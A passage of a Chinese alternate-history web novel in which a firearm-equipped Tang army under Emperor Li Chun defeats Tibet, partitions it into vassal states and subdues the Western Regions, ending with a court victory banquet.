进入4月份,李纯看到南线已经达成目的,就命令发动北线的进攻。武元衡经过考虑后,决定采取诱敌深入的方式歼敌。
由兴中军抽调一万精兵,进入吐蕃境内掳掠,专杀吐蕃小股兵力,抢掠吐蕃的财产和物资。吐蕃人刚开始还心存忌惮,后来看到这些人用的都是刀箭等常规武器,实在忍不住了,集中5万精兵进行反击。
一万唐军短暂接战后,迅速溃败,一路东逃。吐蕃军岂会放过扩大战果的机会,一路猛追。
唐军刚开始是丢下抢来的财物,后面为了快逃保命,连盔甲、刀剑都扔掉了,一路狂奔。吐蕃军大喜过望,乘胜追击,扩大战果。
当吐蕃军追到一个叫清水的**原,李愬率领的3万平蕃军早已严阵以待。吐蕃军到达预定位置后,唐军首先用炮火截断吐蕃军的后路,吐蕃军于是拼命向前击杀唐军,溃逃的一万兴中军和原来留在此地一万人汇合,共两万兴中军迅速利用提前构筑的工事,挡住吐蕃军的去路。
吐蕃军依仗勇猛,拼死向唐军冲去,唐军采取远距离炮击,近距离枪击的方式,猛烈打击。
**的唐军分成三波,轮流装弹射击,还发射了大量的飞射弹,形成了密集的火力网。吐蕃军发动了多次冲锋,均难以突破唐军的火力网,反而死伤惨重,开始绝望了,于是掉头向西突围。
唐军的炮火又是连续轰击,炸的吐蕃军尸横遍野,最后吐蕃军只有不到两万人突围而去,战场上留下了大批的尸体、重伤员和投降的吐蕃军。
清水一战,唐军大获全胜,一下子消灭吐蕃3万精锐,李纯和武元衡非常高兴,决定按计划乘胜攻击。张茂昭率领3万威西军向西进发,击败吐蕃军,将近3万吐蕃军包围在原州城。
唐军发挥火力优势,不断用炮火轰击原州城,并在城下挖地道,埋设**进行爆破。经过半个多月的攻击,原州城的吐蕃军伤亡惨重,突围无望,只能无奈投降。
连续两场大战,吐蕃军损失了6万精锐,心中大惧,丧失了和唐军对战的勇气,吐蕃大相尚思罗苦思一番,想到了一条毒计。吐蕃军在占领区大肆抓捕汉人,送到前方军队,让吐蕃军裹挟着汉人,与唐军对战。
尚思罗派出一支5万人的军队,裹挟着汉人百姓向原州进发,企图用这种阴招收复原州城。张茂昭得知这种情况,与军中将佐紧急商议对策,尚未议定,吐蕃军已押着汉人百姓已行至原州城下。
第58章 连胜吐蕃
只见5万吐蕃军押着3万多汉人百姓,吐蕃军在后,汉人百姓在前。汉人多以中青年男女为主,每人扛着一个土包,在吐蕃军的驱赶下,向城墙走来。
有些汉人百姓向唐军喊:“我们都是被吐蕃人逼的,请不要杀我。”还有人喊:“我们原来都是大唐的百姓,请唐军来解救我们吧。”也有的喊道:“大唐的将士们,不要管我们,直管射击,灭了这些吐蕃人。”
那几个喊了要求唐军射击的百姓,立即被身后的吐蕃军一阵鞭打,其余人继续被驱赶着走到城墙下,将身上背的土包,扔到城墙下的壕沟里,壕沟里的土包越来越多。城上的唐军不忍向百姓射击,眼睁睁的看着壕沟逐渐被填平。
张茂昭看到汉**多都已走到城墙附近,里面夹杂着一部分驱赶的吐蕃人。吐蕃人的主力在远处观望,意图等土包足够多时,垒起一个斜坡直通城墙上,然后再驱赶着汉人一起攻城。
有些吐蕃人看准了唐军不敢射击自己的同胞,于是开始用弓箭射击城墙上的唐军,唐军一部分人中箭伤亡。
张茂昭大怒,觉得再这样犹豫下去,必然大乱,于是下令对着吐蕃人开火。但还是讲究了一些策略,对待远处的吐蕃人,用炮火猛轰,对待城墙下的吐蕃人,对吐蕃人相对**的地方使用枪击,对汉人密集的地方,尽量不予射击。
连续一番炮火,吐蕃人顶不住,远处的吐蕃主力急忙后撤。趁着这个功夫,张茂昭下令打开城门,一万精锐的唐军突然杀出,城门附近的汉人自发的闪到两边,这一万唐军**对着人群中的吐蕃人一阵猛射,专挑吐蕃人打。
看到这种形势,城墙下面的吐蕃人没有了原来的嚣张气焰,赶忙扔下汉人往远处逃去。唐军追了一阵,又杀伤了不少吐蕃人,把人群中剩余的吐蕃人全部抓起来俘虏。
三万汉人百姓总算被解救下来,城墙下大片的汉人跪下向唐军感谢救命之恩。尽管唐军主要向吐蕃军射击,但是在很多地方吐蕃人和汉人百姓混杂在一起,难以避免误伤,还有些百姓被吐蕃人杀害,此役下来还是有一千多汉人百姓伤亡。
看着伤亡的百姓,张茂昭的心里在滴血,发誓要让吐蕃人血债血偿,于是向武元衡请令攻击。武元衡和李纯商议以后,决定继续进攻,从原州和秦州分两路向吐蕃人发起攻击。
吐蕃人在原州城下又损失了五六千人以后,彻底学老实了,不敢再主动出击,全部龟缩在城中坚守。他们继续沿用原来的阴招,驱赶汉人百姓登上城墙,全部捆住双手,充当肉盾。
唐军两路兵马分别攻到吐蕃人的城池后,都傻眼了,这仗是彻底没法打。城里汉人和吐蕃人交叉混杂,城上站满汉**盾和吐蕃军,如果贸然出击,汉人百姓将伤亡惨重。两路将领只能暂时对峙,派人回报给李纯和武元衡。
李纯和武元衡接到前方报送的情况后,不禁陷入了沉思。上次张茂昭在原州城对裹挟汉人的吐蕃人发起反击,算是事急从权,虽有误伤一些汉人,但也解救了大部分百姓,处置还算正确。
但是如果这次攻城造成汉人的伤亡,就属于主动杀伤,就失去了攻城的意义。
李纯综合考虑后,决定改变策略,从吐蕃的后方寻求突破。一方面,派出多支千人规模的骑兵突击队,对吐蕃后方进行突袭,专门截杀小股吐蕃兵力,迫使前线的吐蕃军队只能龟缩在几个主要城池中。对于更远的吐蕃大后方,采取拉拢策反之计。
由于吐蕃的主要兵力集中在兰州以东的会州(今甘肃会宁)至渭州(今甘肃陇西)一带,后方兵力空虚,对地方上的控制力减弱。元稹派出使者,到河西几个较大的汉人豪族进行联络,准备从后方来一次大起事,从后方打击吐蕃。
使者到达沙州后,向张元甫、张议潮父子仔细介绍了唐军在前线的胜利,也说明了因吐蕃军的阴招,致使唐军暂时无法发动大规模攻击的情况,要求张元甫和其他汉人,利用吐蕃后方的空虚,在后方起事,从后方夹击吐蕃。
张元甫、张议潮非常痛恨吐蕃人的残暴,早就想起事反抗吐蕃,只因敌我力量悬殊,才暂时隐忍,暗地里积聚力量。
唐军利用火器,大量杀伤吐蕃军的消息,早就在汉人中口口相传,很多人都期盼早日推翻吐蕃人的统治。经过使者的联络,肃州的李明达,瓜州的吴安正等汉**族,也都表示愿意配合唐军起事。
元和七年五月,张元甫、张议潮率先在沙州起事,城内外的汉人自发武装起来,与沙州的吐蕃军队进行战斗。吐蕃军也是不甘心失败,极力**起义的汉人,双方的战斗很残酷。
战斗持续了三天,随着加入的汉人越来越多,吐蕃军终于不支,战败逃窜,沙州起义宣告成功。
沙州起事成功后,吐蕃大相尚思罗极为恼怒,派出廓州节度使论恐勒带领五千骑兵,到沙州**。张元甫带人死守城池,抵住了吐蕃军的进攻。
由于吐蕃抽调兵力**沙州起义,其他地方更加空虚,肃州的李明达,瓜州的吴安正趁机先后带人起事。论恐勒前面**不利,后面又出新情况,为防后路被截断,急忙带兵逃向凉州。经过河西汉人的艰苦斗争,元和七年六月,沙、瓜、肃三州先后光复。
李纯让使者到河西,任命张元甫为沙州刺史、李明达为肃州刺史、吴安正为瓜州刺史,置河西为归义军,由张元甫兼任节度使。命张元甫带领河西三州的军队向东进攻,配合东线唐军的进攻。张元甫命其子张议潮为先锋,兵锋直指甘州,经过五天的进攻,顺利攻下甘州。
归义军继续向凉州进攻,但是凉州是吐蕃重兵据守的城池,如被攻下,吐蕃军面临覆亡的危险,所以拼死抵抗,难以攻下。李纯也不想让归义军过多消耗,令其暂停进攻,从西面围困吐蕃。
论恐勒**沙州起义失败,导致河西四州先后被归义军攻取,尚思罗大怒,要对其严惩。论恐勒干脆一不做二不休,带领人马回到其老巢廓州,准备对抗尚思罗。
李纯派人侦知这一消息,立即派使者向论恐勒传话,如果其能起兵自立,大唐将承认其占领的吐蕃地盘。
有了唐朝皇帝的传话,论恐勒反叛的决心更大,他早就看不惯尚思罗专权,早就想割据一方,趁此机会大肆招兵买马,准备死磕尚思罗。
尚思罗得知论恐勒有反叛的意图,气愤至极,利用和唐军前线短暂僵持的机会,抽调两万人马去征讨论恐勒。
论恐勒也不是善茬,知道尚思罗不会饶过他,早就做好了对抗的准备,在沿途布置重兵,利用讨伐军过河的机会,趁机发起进攻,把尚思罗的讨伐军打的大败而归。
唐军攻打,汉人起义,部将反叛,把尚思罗压的喘不过气来,眼看就有崩溃的危险。尚思罗苦思冥想,反复衡量,觉得先解决内部危机最重要,决定先与唐军讲和。
尚思罗的使者到达凤翔后,向唐**达了吐蕃愿意作出适当让步,换取和解的愿望。
这种大事,自然要进行内部商讨,一些大臣认为,完全可以利用吐蕃人后方生乱的机会,集中兵力消灭前线的吐蕃军,也有人认为毕竟很多汉人百姓还在吐蕃人的手里,还是要见好就收,收取成果。
李纯认为,成果要收取,吐蕃军也要消灭,但是可以分步来做。尚思罗和唐军讲和以后,大概率是要回去讨**恐勒,可以让他们进行内斗,唐军坐收渔翁之利。
既可以减少唐军的损失,也可以借机让吐蕃军释放那些汉人俘虏,后续可以放开手脚用兵。
李纯在和武元衡商议达成一致后,派出使者向尚思罗传达唐军的和谈条件:1、吐蕃军释放所有汉人俘虏;2、退还所有占领的大唐领土;3、不得攻击归义军。
尚思罗觉得,既然是和谈肯定是要有所让步,不然根本无法抽身。第1条,自己可以接受,也不愿带着这些俘虏去打论恐勒。第3条也可以接受,可以先打论恐勒,内部稳了,再打归义军。第2条,难以做到,退还所有领土,这些年吐蕃就等于白干了,自己会成为罪人。但是如果一点不退,似乎也难以过关,唐军肯定不答应。
思来想去,尚思罗再次派出使者,向唐军回复自己的意见:同意释放俘虏,不打归义军,但是只退出兰州以东的地盘,保留兰州、河州、凉州等重要据点。
李纯和武元衡商议后认为
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,原来也就没想过让对方接受全部条件,尚思罗回军也是打论恐勒,让他们打去,唐军占据明显优势,不怕他能搞出什么花来,于是同意尚思罗的条件。
尚思罗下令,放弃前线的几个城池和俘虏,吐蕃全军收缩到兰州、凉州、河州一带,**了约十万军队,准备西进讨**恐勒。
七月份,唐军兵不血刃,收复了会州、渭州、成州等地,解救了大批汉人俘虏。很多汉人在吐蕃的长期压迫下,生存艰难,终于盼来解放,无不欢欣雀跃,载歌载舞欢迎唐军的到来。
按照李纯和武元衡的设想,尚思罗回师后,兵力占据优势,极有可能打败论恐勒,然后再掉头跟唐军对战,唐军可以再消灭已经削弱的尚思罗,但是结果却出乎意料。
尚思罗纠集十万大军讨**恐勒,又召集当地的苏毗族人助战,企图以优势兵力消灭论恐勒。没想到弄巧成拙,论恐勒就是当地人,借机诈称自己就是苏毗王族后裔,号召苏毗族人帮助自己攻打尚思罗。
苏毗族被吐蕃人压迫,自然对尚思罗没有好感,于是很多苏毗族的军队倒戈投向论恐勒。
论恐勒联合苏毗族军队在廓州以东,与尚思罗的军队大战,论恐勒发挥地利人和的优势,一举击败尚思罗,尚思罗带领2万残兵狼狈逃回兰州。论恐勒乘机自封吐蕃大相,要求各地的吐蕃军都要听从其号令。
李纯自然不会再给尚思罗重整旗鼓的机会,命令唐军、归义军全力攻打兰州、河州、凉州三地。由于吐蕃军已经被大幅削弱,不到十天的时间,三城皆回归到唐军的旗下。尚思罗连续惨败,异常羞愤,**而亡。
李纯和武元衡本想在兰州休整一下,然后乘胜攻打廓州的论恐勒,没想到吐蕃内部又出了新的内乱。
原来,论恐勒击败尚思罗,自称吐蕃大相,要求各地服从他的号令,引起了鄯州节度使尚比尼的强烈不满,明确表示不服。论恐勒也早就对尚比尼不满,正想借机杀鸡儆猴,树立权威,于是拼凑了八万大军讨伐尚比尼。
没想到这个尚比尼很有谋略,在论恐勒军队必经的山谷设伏,打败论恐勒的军队。论恐勒不甘心,再次纠结军队攻打尚比尼,结果仍是失败。
论恐勒开始恐慌了,想起以前唐军曾表示过支持他,于是连忙派人到唐军那里,表示只要唐军支持他为吐蕃大相,帮他打败尚比尼,自己愿意向唐军让出适当的权益。
武元衡主张,让那两个军阀继续斗,唐军坐山观虎斗就行,不必理会论恐勒。李纯仔细衡量,觉得与其让这两个军阀内斗,不如将祸水西引,将他们引到吐蕃本土,可以趁机施行肢解吐蕃的计划,于是决定充分利用好这次机会。
李纯和武元衡讨论后认为,目前吐蕃的主力已经损失严重,而且两个军阀正在内斗,不足为惧。可以让李愬率领平蕃军和归义军讨伐安西一带,清除那里的吐蕃势力,在兰州一带留下威西军和兴中军震慑吐蕃,逼迫吐蕃接受自己的条件,让他们内斗。
计议已定后,唐军分别向论恐勒、尚比尼、扎日勒派出使者,传递信息:
支持论恐勒为吐蕃大相,但是只能回到吐蕃早期的本土,其他地区不受其管辖;
在吐谷浑旧地(今青海中北部)建立吐浑国,支持尚比尼为国主,但是必须让出河湟一带的土地,并向大唐臣服:
在吐蕃国土金沙江以东部分建立康巴国,支持扎日勒为国主,但是必须让出金川河(今大渡河泸定段)以东的土地,并向大唐臣服;
哪一方胆敢反对,并对抗大唐,将直接派兵消灭。
对于论恐勒,已经没有太多的谈判筹码,目前实际统辖的只有廓州,回到吐蕃本土任大相,再换个傀儡赞普,也是不错。
对于扎日勒,已经在前期领教了唐**器的厉害,自然也不想打,白得个国主当然好,金川河以东也没多少土地,自己稳赚不赔。
对于尚比尼,则是犹豫很多,让出自己经营多年的鄯州,转移到吐谷浑旧地,听起来地盘很大,但是那里还有其他吐蕃将领镇守,摆明了要自己去打下来,尚比尼不愿意掉头打吐蕃人,最后决定拒绝唐军的条件。
第59章 肢解吐蕃
得到这个结果,李纯立即采取措施,一是正式册封扎日勒为康巴国王,金川河以西、金沙江以东、北到积石山、南到南诏国的土地尽归康巴国,但是要他利用手中的兵力平定这些地方,并成为唐朝的附庸国,每年向唐朝朝贡;二是宣布支持论恐勒,派出威西军西进打击尚比尼。
扎日勒凭空由一个将领,变为国主,高兴坏了。他按照唐朝的要求,将国都建在松城(今四川康定),然后带领军队在康巴国内部到处征讨,消灭不服从他的势力,之后来个大清洗,把仍忠于吐蕃的官员全部换掉,委任自己比较放心的官吏,搭建自己的班底,每年向唐朝称臣纳贡,接受唐朝保护。
论恐勒得到消息后,犹如打了鸡血,立即组织兵力,再次进逼尚比尼,在鄯州南部与尚比尼的军队对峙。
三万威西军从兰州西进,直达鄯州东部龙支城(今青海民和),尚比尼在这个边境小城只驻扎了5000人马,人数和武器都不是威西军的对手,城内都是吐蕃人,威西军毫不客气,直接用炮火往城内一阵猛轰,经过三天的攻打,拿下龙支城。
威西军从龙支城出发,沿着湟水西进,一路杀败尚比尼的军队,直达鄯州城东。
李纯在派出威西军时,就已经用手谕交待张茂昭,攻打鄯州只是逼迫尚比尼归降唐军,打到鄯州城时,先让他接受唐军先前提出的条件,如拒不接受再攻击鄯州城。
张茂昭按照李纯的交待,派出使者进入鄯州城,声明如果尚比尼接受唐军先前提出的条件,仍可以封他为吐浑国王,如果拒绝,唐军将直接攻城。
尚比尼收到唐军的最后通牒后,彻底扛不住了,如果再继续死磕,估计就是尚思罗的下场,想那扎日勒已经被封为康巴国王,唐军还算守约,何必放着国王不当,去寻死路呢?
尚比尼派人回复唐军,愿意接受唐军先前的条件,让出鄯州给唐军,但是唐军要支援他攻打吐浑国境内的吐蕃军。
李纯要的就是尚比尼服软,当即派人同时通报论恐勒和尚比尼,尚比尼俘虏论恐勒的军队,全部归还论恐勒,唐军前后俘虏尚思罗的八万吐蕃军,分五万给论恐勒,分三万给尚比尼。
两人接收完俘虏后,全部组成自己的部队,论恐勒退出廓州,向吐蕃本土进发,夺取吐蕃大相一职,尚比尼退出鄯州向青海湖一带进发,带兵扫平吐浑国境内残余吐蕃势力,建立吐浑国。
论恐勒和尚比尼都明白了,唐军这是驱虎杀狼,让他们吐蕃人打吐蕃人,可是又有什么选择呢,谁敢拒绝就是灭顶之灾,如果配合,还能捞到富贵,最后都决定按照唐军的通牒来办。
尚比尼归还了论恐勒的俘虏,又挑选了原属于尚思罗的三万俘虏,加上自己剩下的三万多军队,整合成六万军队,退出鄯州,带领一批愿意追随他的吐蕃人,沿着青海湖北岸西进。
他们到达吐谷浑旧都伏俟城(今青海天峻),击败当地的吐蕃残余势力,以伏俟城为都建立吐浑国。经过三个月的征讨,迫使在日月山以西的青海湖周围、黄河上游、柴达木一带的吐蕃人臣服于他,尚比尼成为真正的吐浑国王。
尚比尼觉得,虽然经过一番折腾,但是唐军还算守约,自己也从地方节度使升级为一方国主,对这个结局还算满意,于是决定彻底臣服唐朝,每年派出使者向唐朝纳贡。
最后说论恐勒,虽说有个大相的名号,还有十多万军队,但是果子也需要自己去摘。但是论恐勒也有信心,吐蕃的精锐都在对唐作战的前线,本土都是老弱病残,不堪一击。
但是,李纯并不充分信任论恐勒,为了稳妥起见,李纯派出威西军副将谢长林,带上两个裨将,跟随论恐勒大军行动。
谢长林等三人,一方面是监督跟踪论恐勒的行动,另一方面是要在论恐勒夺取政权后,将在吐蕃本土的汉人奴隶带回来,论恐勒如敢拒绝,朝廷仍将派兵征讨。
在8月底,眼看天气就要转冷,论恐勒率领大军紧急向逻些城(今西藏拉萨)进军,准备在入冬前拿下逻些城。
正如论恐勒所料,吐蕃军的主力都在前线对抗唐军,后方空虚,没有多少兵力。论恐勒带领十万大军,一路上势如破竹,经过两个月终于拿下逻些城,自立为大相,并从吐蕃王族中挑选一个幼童为赞普,掌握了吐蕃实权。
吐蕃王族不服,原赞普的弟弟赤松巴逃到象雄(今西藏阿里和印度的拉达克藏区)一带,建立象雄国。
另一位吐蕃大臣在在波如(今西藏昌都)自立,建立波如国,后面又纳入多弥(今青海玉树)、扎纳(今西藏那曲)两个地方。
论恐勒控制的吐蕃国,仅存有雅鲁藏布江河谷一带,实力大为缩水,论恐勒干脆废除吐蕃赞普,自任吐蕃国王,并派兵征讨象雄和波如。
自此,吐蕃国一分为五,分别为吐浑、康巴、象雄、波如、吐蕃。其中和唐朝接壤的吐浑国、康巴国,接受唐朝保护,成为唐朝的附庸国,象雄联合波如,对抗吐蕃,三国相互攻伐,实力不断削弱,已经不可能对唐朝产生任何威胁,李纯实现击败、肢解、削弱吐蕃的战略目的。
谢长林发现,吐蕃的形势果如李纯所设计的那样,不觉心中欣喜。在次年春天,谢长林将吐蕃核心区的汉人奴隶全部找到,大概有两千人左右,要求带回陇右。
论恐勒此时哪敢得罪唐军,不愿为了两千汉人奴隶犯险,就同意此事,谢长林顺利带回这些汉人奴隶,让他们回到故土。
在另一边,李愬的平蕃军和张元甫的归义军汇合,组成了五万人的安西讨伐军,由李愬为主将,张元甫为副将,8月份从瓜州出发,向伊州(今新疆哈密)进发,消灭西域一带吐蕃残余势力。
李纯专门下达诏书给李愬,要求其先集中兵力扫平天山以南的吐蕃势力,明年朝廷就会向回鹘用兵,李愬可以在后期对天山以北,属于回鹘势力的车师前部、车师前部,及其以北一带用兵。
沿途各地,如归顺大唐的,可以适当封赏,如遇胆敢反抗者,一律讨平,彻底扫除西域敌对势力。
被吐蕃侵占的安西之地,主要是天山以南的塔里木盆地一带,此地原是唐朝安西都护府属地,在天宝年间因爆发安史之乱,安西军奉命内调,参与平定叛乱,安西一带只留下很少的驻军,吐蕃人乘虚而入,先后攻占安西四镇。
天山以南气候干旱,都是一些绿洲小国,在语言和文化上与吐蕃完全不同,只是慑于吐蕃人的武力威胁,才不得不屈服,接受吐蕃人的驻军,并向吐蕃称臣纳贡。
吐蕃人被唐军击败的消息,随着商队向安西各国扩散,很多国家都知道了,开始酝酿反叛吐蕃。
伊州又称哈密,是河西走廊进入西域的第一站,从汉朝以来就开始有汉人移居此处,南北朝时期,在军阀混战中失败的西凉、北凉残余势力也先后逃到此地,所以伊州的汉人比例很高。
李愬和张元甫率军到达伊州后,当地汉人和其他民族集体反抗,配合唐军攻打吐蕃人,当地的吐蕃军自知不敌,迅速向西溃逃,当地军民向唐军投诚。
在伊州的汉人中,张氏是大族,张氏首领张文举率领汉人,带着物资前来慰问唐军。李愬看到伊州还有汉人同胞非常高兴,张元甫发现这里有自己的本家,也很兴奋,一起攀谈了起来。
张文举说:“伊州是个小地方,各族混居,也是周边各个势力争夺的对象,以前曾经属于大唐,后面被吐蕃和回鹘反复争夺,汉人饱受压迫,现在终于回到了朝廷的怀抱,伊州的汉人愿意为朝廷出力。”
李愬说:“陛下雄才大略,在东线已经彻底击败吐蕃,我这次带兵前来,就是扫除西域的吐蕃残余势力,后面朝廷还会出兵打击回鹘,以后伊州可以实现长治久安。既然文举兄倾心朝廷,我就代朝廷委任你为伊州刺史,你把伊州组织起来,作为我们西征部队的后方基地。”
张文举说:“作为汉人,配合朝廷稳定西域,本就是分内之责,我一定会筹集粮秣,保障大军的行动。”
张元甫说:“大军远征,运输困难,所带粮草不多,真是要劳烦文举兄帮我们准备一些,我们也呆不久,过几天就会西进高昌。”
唐军在伊州休整三天,补充了粮草后,向高昌(今吐鲁番)进发。
高昌又称西州,位于天山以南的一个盆地里,也属于沙漠绿洲小国,吐蕃占领此地后,扶持原高昌王族麴氏建立傀儡政权。唐军到达后,吐蕃稍作抵抗便向焉耆撤去,高昌麴氏本就是小国,属于墙头草,顺势投降唐军。
李愬认为,高昌国内也有一些汉人,麴氏政权对中原王朝还算和善,没必要废除,于是委任高昌王麴达利为西州刺史,要求其效忠于唐朝,并提供唐军的后勤物资。
伊州、高昌两地离中原相对较近,以前有不少汉人逃亡过去,所以对待中原政权相对友善,但是继续往西,形势就没有那么好了。
李愬率军从高昌往西南行军,进入焉耆(今新疆焉耆)境内。焉耆国民风彪悍,喜欢抢掠,看到唐军后并未臣
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服,反而多次联合吐蕃人偷袭唐军。李愬大怒,见到焉耆军队就是一阵猛射,大举猛攻,一直打到焉耆城下。
唐军到焉耆城外驻扎后,焉耆和吐蕃军队居然乘夜偷袭唐军,令唐军蒙受一些损失,李纯和张元甫都怒了,打退焉耆人以后,第二天架起大炮、***对着焉耆城就是连续的猛轰。
焉耆人从来没有见过这么猛烈的炮火,被打傻了,被炸的抱头鼠窜,难以抵挡,吐蕃人看到形势不利,立即向西逃窜,往龟兹退去。
唐军第一天轰了一天,第二天就从轰开的城墙冲进去,遇到敢于抵抗的焉耆军队就射杀,一直冲到焉耆王宫,捉住其国王及其他王族。
李愬觉得,一个小国居然也敢跟唐军对抗,不杀一儆百,西域其他各国就不知道敬畏,唐军经过简单审问后,将焉耆国王和其他几十个主张抵抗唐军的大臣和将领全部斩首。
李愬率军在焉耆多待了几天,彻底清除焉耆的反唐势力,扶持一个亲唐的大臣为焉耆国王,获取足够的军用物资后,唐军向龟兹(今新疆库车)进发。
龟兹属于安西一个较大的藩国,其国主与吐蕃公主联姻,忠于吐蕃。而且吐蕃势力一路退来,退无可退,也不知道论恐勒那边已经打到本土,篡夺政权,决定在龟兹拼死一战,打退唐军。
吐蕃军和龟兹军共拼凑了约四万军队,由吐蕃将领诺延顿率领,诺延顿明知野战打不过唐军,决定坚壁清野,据龟兹城防守。
李愬也觉得一直追击,吐蕃人一直在逃,总算逮到其主力,决定在龟兹城狠狠教训吐蕃在西域的残余兵力,绝不能让其继续逃跑,对于敢于对抗大唐的龟兹国,也要猛揍一顿。
五万唐军将龟兹城围定以后,李愬还是按照常规,先派出人员劝降,吐蕃人怕龟兹人动摇,直接向劝降人员射箭,好在唐军提前有所准备,用盾牌护住劝降人员返回。
剩下的就没什么好说的,唐军直接进行炮火轰击,唐军集中在东门进行重点火力打击,龟兹城东门被炸塌,多段城墙被损毁,城墙上的吐蕃军、龟兹军被炸的鬼哭狼嚎。一部分吐蕃军向西门突围,这里的唐军早就严阵以待,又是一顿枪炮侍候,又把他们打回去。
连续攻打了三天,龟兹城被打的一片狼藉,毫无还手之力。李愬也不想赶尽杀绝,就又派人劝降,如再不投降,就夷平龟兹城。诺延顿和龟兹王别无选择,只能率城投降。
对于敢于对抗大唐的势力,必须要给予严惩,李愬带兵入城后,将诺延顿和龟兹王斩首示众。
对于吐蕃人和龟兹人,李愬和张元甫商议以后,决定区别对待,将吐蕃人全部抓起来,作为俘虏关押,对龟兹人,则只杀了十来个亲吐蕃的大臣和将领,其余从轻处理。
李愬和张元甫考虑到,打完龟兹已经是寒冬,他们决定在此过冬,龟兹又是西域较大的国家,可以拉拢过来,所以对龟兹人惩罚的稍微轻一些。
利用在龟兹过冬的机会,李愬和张元甫把部队休整一下,对龟兹国的势力进行重整,扶持亲唐的国王,主要的官员、将领也全部换成亲唐的人员。
至于损坏的城池,自然是吐蕃俘虏和龟兹人去重修,让他们吃点苦头,长点记性。利用这个机会,李愬和张元甫也享受了一把“葡萄美酒夜光杯,琵琶欲饮马上催”快意,让士兵们放松了一下。
两人还专门去了一趟当地的硫磺矿,要求新任龟兹王要把所产的硫磺全部卖往大唐,不得运到别的地方,新的龟兹王自然是照办。
在龟兹过完冬,元和8年2月,李愬和张元甫继续带领军队又往疏勒、莎车、于田等地进行征讨。有了焉耆、龟兹的前车之鉴,剩下几个小国不敢抵抗,残存的吐蕃人汇集到于田,翻越昆仑山,逃往象雄一带。
李愬和张元甫对这几个小国的亲吐蕃势力进行清洗,全部换上亲唐的人员,要求他们必须向大唐称臣纳贡。
唐军辛苦打一仗,清除了吐蕃势力,彰显大唐声威,自是不在话下,但也不能没点收获。
李愬和张元甫肯定也是要带点东西回去,他们将吐蕃人和各国搜刮的财富,除了留一些给当地,挑了不少金银珠宝带回去,顺便也带了一些西域的土特产,往高昌进发。
元和8年6月下旬,李愬和张元甫率军到达高昌,朝廷派来高昌的使者已在此等候,告诉他们唐军已经发动对回鹘的战役,要求他们扫平车师前部、车师后部以后,就全部撤军回国,张元甫回任沙洲刺史,李愬率平蕃军驻守肃州。
第60章 河西危机
车师前部、车师后部位于天山以北,都是两个小国,都臣服于回鹘,接受回鹘的保护,此时回鹘已经在东线和唐军接战,无暇西顾。
李愬和张元甫率军从高昌往西北进发,只花了一个多月的时间,就先后讨平车师前部、车师后部,清除了两国亲回鹘势力,换上亲唐的人员。
然后,李愬又率军向北扫荡了一番,向几个臣服于回鹘的小国,索要了一些贡品和物资,于元和8年8月份回到高昌。
李愬和张元甫觉得应该参照安西都护府的模式,留一些驻军,否则打下的这些国家可能会有变故,但是朝廷的使者要求他们全部撤军回国,自有朝廷的考虑,打完仗将士们也都思念家乡,非常想回去。
一个多月以后,李愬和张元甫率军返回肃州,并按照李纯的命令,将平蕃军移镇于此,张元甫回任沙州刺史,归义军留一部分作为地方守备部队,其余人由朝廷发钱遣散,由李愬带领部分人员押送俘虏和缴获的财物东归,到长安报告西征情况。
元和七年八月,李纯基本实现了打败吐蕃、收复唐朝故地的夙愿,利用论恐勒等人肢解吐蕃,派李愬扫平安西的吐蕃、回鹘势力,李纯觉得后续问题都不大。
对于收复的陇右河西土地,李纯将其全部纳入到关内道,重新设置州县,委任官员,按照唐朝的制度进行治理。
由于土地向西扩展不少,李纯决定将西边的两支军队驻地进行调整,平蕃军移镇肃州,看住大唐的西大门,可随时征讨安西地区的反叛势力;威西军移镇兰州,防御吐蕃残余势力。
至于平蛮军,在眉州暂时不动,既可以威慑南边的康巴国,也是以后进攻南诏的主力军。
平了吐蕃,夺回被占领土,唐朝举国欢庆,元和七年九月,除了当时继续出征的平蕃军和归义军将领以外,李纯在麟德殿大宴群臣,庆贺击败吐蕃。群臣都为打赢吐蕃、夺回失地,而欢欣鼓舞,纷纷向李纯祝贺,李纯也频频向群臣致意。
李纯举杯说道:“朝野上下,励精图治,为的就是振兴大唐,扬我国威,让百姓们安居乐业。此次击败吐蕃,夺回失地,朕和众爱卿都很高兴,我们君臣一起举杯庆祝!”
群臣随李纯一起举杯畅饮,喝尽杯中酒。
李吉甫首先说:“此次大胜,全赖陛下提前谋划,打下扎实的基础,又能运筹帷幄,从容调度,才能一击而胜,扫平吐蕃,我等臣工也敬陛下一杯!”
李纯道:“此次大战,武爱卿和其他臣僚也都出了很多力,朕岂能揽功,还是君臣同庆。”
第二杯酒饮罢,武元衡说:“陛下,此次把吐蕃打的狼狈逃窜,臣感觉出了一口恶气,臣建议明年开春以后就对回鹘、南诏、契丹等地用兵,把他们抢走的土地和人民,全部夺回来。”
李纯道:“此言正合朕意,对吐蕃的战役证明了唐军的战斗力,明年其他部队的火器基本配备到位,可以南北同时用兵,让其他的军团也打几个漂亮仗。”
李绛说:“现在两个火器场都在大规模的生产,明年可以再配齐5个军团,不知陛下如何具体安排用兵,我们科工部好重点配给火器。”
李纯道:“朕计划南北同时开打,主要是回鹘、南诏、流求(今台湾)三地,你们可以把火器重点往平胡军、平辽军、镇北军、平南军、平海军配,平蛮军已经配了,后面可以6个军团一起打。”
李绛说:“好,我们科工部后面就重点往这几个方向配备火器,告诉陛下一个好消息,艾笛声的火车已经弄出来了,最近在铺设轨道,后面还要进行试验,正式搞出来后,还要请陛下观看一下。”
李纯道:“这是好事,前方打仗,后方的经济和发明活动也不能停,我后面会重点关注这两个方向。”
裴垍说:“陛下采取了一些促进工商业发展的措施,效果都很好,各行各业发展的都很快,赋税也增加了很多。”
李纯听了很高兴:“前方打胜仗,后方要繁荣,齐头并进,我大唐会越来越强。”
武元衡说:“想到明年打好几个地方,臣就很兴奋,斗胆申请继续参与指挥这些战事。”
李纯道:“明年要打的几个地方,也就回鹘有点实力,其他的难度不大,反正周边都要打一遍,打到臣服为止,武爱卿可以负责指挥这些战事。”
宴会持续了大概三个时辰,君臣尽兴而返。
元和七年唐朝发动的对吐蕃战役,彻底击败了吐蕃这个西部劲敌,夺回了陇右一带十几个州,增加了一百多万人口。
但凡被吐蕃人奴役的汉人全部被释放,被掠夺的土地全部还给汉人,一批奴役、欺凌汉人的吐蕃败类得到惩治,有一部分罪大恶极的,甚至就地斩杀。
陇右一带的汉人,长期被吐蕃人压迫,就是半年左右的功夫,唐朝就收回故土,救回所有被掠到吐蕃的汉人,这些人都有解放翻身的感觉,忍不住泪流满面。
